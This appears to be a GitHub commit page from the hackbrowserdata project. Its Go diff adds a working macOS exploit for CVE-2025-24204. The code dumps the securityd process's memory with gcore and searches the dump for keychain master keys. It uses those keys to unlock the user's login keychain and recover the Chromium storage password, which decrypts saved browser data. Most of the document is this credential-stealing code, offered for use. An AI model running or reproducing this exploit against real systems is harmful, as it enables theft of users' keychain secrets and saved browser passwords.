Skip to content

Commit 33db01f

Browse files
committed
feat: Decrypt the browser master key on macOS via CVE-2025-24204
1 parent 1a04abb commit 33db01f

File tree

4 files changed

+974
-1
lines changed

4 files changed

+974
-1
lines changed

browser/chromium/chromium_darwin.go

Lines changed: 25 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ import (
1111
"os/exec"
1212
"strings"
1313

14+
"github.com/moond4rk/hackbrowserdata/browser/exploit/cve2025_24204"
1415
"github.com/moond4rk/hackbrowserdata/crypto"
1516
"github.com/moond4rk/hackbrowserdata/log"
1617
"github.com/moond4rk/hackbrowserdata/types"
@@ -24,6 +25,24 @@ var (
2425
func (c *Chromium) GetMasterKey() ([]byte, error) {
2526
// don't need chromium key file for macOS
2627
defer os.Remove(types.ChromiumKey.TempFilename())
28+
29+
// Try get the master key via CVE-2025-24204
30+
if cve2025_24204.GetMacOSVersion() == cve2025_24204.ExploitOSVersion {
31+
if os.Geteuid() == 0 {
32+
secret, err := cve2025_24204.DecryptKeychain(c.storage)
33+
if err == nil {
34+
log.Debugf("get master key via CVE-2025-24204 success, browser %s", c.name)
35+
if key, err := c.parseSecret([]byte(secret)); err == nil {
36+
return key, nil
37+
}
38+
}
39+
40+
log.Warnf("get master key via CVE-2025-24204 failed: %v", err)
41+
} else {
42+
log.Warnf("CVE-2025-24204 exploit requires root privileges, skipping...")
43+
}
44+
}
45+
2746
// Get the master key from the keychain
2847
// $ security find-generic-password -wa 'Chrome'
2948
var (
@@ -43,10 +62,15 @@ func (c *Chromium) GetMasterKey() ([]byte, error) {
4362
return nil, errors.New(stderr.String())
4463
}
4564

46-
secret := bytes.TrimSpace(stdout.Bytes())
65+
return c.parseSecret(stdout.Bytes())
66+
}
67+
68+
func (c *Chromium) parseSecret(secret []byte) ([]byte, error) {
69+
secret = bytes.TrimSpace(secret)
4770
if len(secret) == 0 {
4871
return nil, errWrongSecurityCommand
4972
}
73+
5074
salt := []byte("saltysalt")
5175
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
5276
key := crypto.PBKDF2Key(secret, salt, 1003, 16, sha1.New)
Lines changed: 223 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,223 @@
1+
//go:build darwin
2+
3+
// CVE-2025-24204
4+
// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
5+
6+
package cve2025_24204
7+
8+
import (
9+
"debug/macho"
10+
"encoding/binary"
11+
"fmt"
12+
"os"
13+
"os/exec"
14+
"path/filepath"
15+
"strconv"
16+
"strings"
17+
"time"
18+
"unsafe"
19+
20+
"golang.org/x/sys/unix"
21+
22+
"github.com/moond4rk/hackbrowserdata/log"
23+
"github.com/moond4rk/hackbrowserdata/utils/chainbreaker"
24+
)
25+
26+
const ExploitOSVersion = "15.0"
27+
28+
var (
29+
homeDir, _ = os.UserHomeDir()
30+
LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
31+
)
32+
33+
func GetMacOSVersion() string {
34+
v, err := unix.Sysctl("kern.osproductversion")
35+
if err == nil {
36+
return v
37+
}
38+
return ""
39+
}
40+
41+
func FindProcessByName(name string, forceRoot bool) (int, error) {
42+
buf, err := unix.SysctlRaw("kern.proc.all")
43+
if err != nil {
44+
return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
45+
}
46+
47+
kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
48+
if len(buf)%kinfoSize != 0 {
49+
return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
50+
}
51+
52+
count := len(buf) / kinfoSize
53+
for i := 0; i < count; i++ {
54+
proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
55+
// P_comm is [16]byte on Darwin (in newer x/sys/unix versions)
56+
pname := byteSliceToString(proc.Proc.P_comm[:])
57+
if pname == name {
58+
// Note: P_ppid is in Eproc on some versions, but usually in ExternProc.
59+
// In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid.
60+
// If P_ppid is missing, we can rely on P_ruid.
61+
if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
62+
return int(proc.Proc.P_pid), nil
63+
}
64+
}
65+
}
66+
return 0, fmt.Errorf("securityd process not found")
67+
}
68+
69+
type addressRange struct {
70+
start uint64
71+
end uint64
72+
}
73+
74+
func DecryptKeychain(storagename string) (string, error) {
75+
// find securityd PID
76+
pid, err := FindProcessByName("securityd", true)
77+
if err != nil {
78+
return "", fmt.Errorf("failed to find securityd pid: %w", err)
79+
}
80+
81+
corePath := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
82+
defer os.Remove(corePath)
83+
84+
// dump securityd memory:
85+
// gcore -d -s -v -o core_path PID
86+
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePath, strconv.Itoa(pid))
87+
if err := cmd.Run(); err != nil {
88+
return "", fmt.Errorf("failed to dump securityd memory: %w", err)
89+
}
90+
91+
// find MALLOC_SMALL regions
92+
regions, err := findMallocSmallRegions(pid)
93+
if err != nil {
94+
return "", fmt.Errorf("failed to find malloc small regions: %w", err)
95+
}
96+
97+
// open core dump
98+
cmf, err := macho.Open(corePath)
99+
if err != nil {
100+
return "", fmt.Errorf("failed to open core dump: %w", err)
101+
}
102+
defer cmf.Close()
103+
104+
// scan regions
105+
var candidates []string
106+
seen := make(map[string]struct{})
107+
for _, region := range regions {
108+
// read region data
109+
data, vaddr, err := getMallocSmallRegionData(cmf, region)
110+
if err != nil {
111+
// Region might not be in core dump or other error, skip
112+
continue
113+
}
114+
// Search for pattern
115+
// 0x18 (8 bytes) followed by pointer (8 bytes)
116+
for i := 0; i < len(data)-16; i += 8 {
117+
val := binary.LittleEndian.Uint64(data[i : i+8])
118+
if val == 0x18 {
119+
ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
120+
if ptr >= region.start && ptr <= region.end {
121+
offset := ptr - vaddr
122+
if offset+0x18 <= uint64(len(data)) {
123+
masterKey := make([]byte, 0x18)
124+
copy(masterKey, data[offset:offset+0x18])
125+
126+
keyStr := fmt.Sprintf("%x", masterKey)
127+
if _, found := seen[keyStr]; !found {
128+
candidates = append(candidates, keyStr)
129+
seen[keyStr] = struct{}{}
130+
log.Debugf("Found master key candidate: %s @ 0x%x", keyStr, ptr)
131+
}
132+
}
133+
}
134+
}
135+
}
136+
137+
}
138+
139+
// fuzz master key candidates
140+
for _, candidate := range candidates {
141+
kc, err := chainbreaker.New(LoginKeychainPath, candidate)
142+
if err != nil {
143+
log.Debugf("Failed to unlock keychain: %v", err)
144+
continue
145+
}
146+
147+
records, err := kc.DumpGenericPasswords()
148+
if err != nil {
149+
log.Debugf("Failed to unlock keychain: %v", err)
150+
continue
151+
}
152+
for _, rec := range records {
153+
if rec.Account == storagename {
154+
// TODO decode base64 password
155+
if rec.PasswordBase64 {
156+
}
157+
return rec.Password, nil
158+
}
159+
}
160+
}
161+
162+
return "", nil
163+
}
164+
165+
func findMallocSmallRegions(pid int) ([]addressRange, error) {
166+
cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
167+
output, err := cmd.Output()
168+
if err != nil {
169+
return nil, err
170+
}
171+
172+
var regions []addressRange
173+
lines := strings.Split(string(output), "\n")
174+
for _, line := range lines {
175+
line = strings.TrimSpace(line)
176+
if strings.HasPrefix(line, "MALLOC_SMALL") {
177+
parts := strings.Fields(line)
178+
if len(parts) < 2 {
179+
continue
180+
}
181+
rangeStr := parts[1]
182+
rangeParts := strings.Split(rangeStr, "-")
183+
if len(rangeParts) != 2 {
184+
continue
185+
}
186+
start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
187+
if err != nil {
188+
continue
189+
}
190+
end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
191+
if err != nil {
192+
continue
193+
}
194+
regions = append(regions, addressRange{start: start, end: end})
195+
}
196+
}
197+
return regions, nil
198+
}
199+
200+
func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
201+
for _, seg := range f.Loads {
202+
if s, ok := seg.(*macho.Segment); ok {
203+
if s.Addr == region.start && s.Addr+s.Memsz == region.end {
204+
data := make([]byte, s.Filesz)
205+
_, err := s.ReadAt(data, 0)
206+
if err != nil {
207+
return nil, 0, err
208+
}
209+
return data, s.Addr, nil
210+
}
211+
}
212+
}
213+
return nil, 0, fmt.Errorf("region not found in core dump")
214+
}
215+
216+
func byteSliceToString(s []byte) string {
217+
for i, v := range s {
218+
if v == 0 {
219+
return string(s[:i])
220+
}
221+
}
222+
return string(s)
223+
}

0 commit comments

Comments
 (0)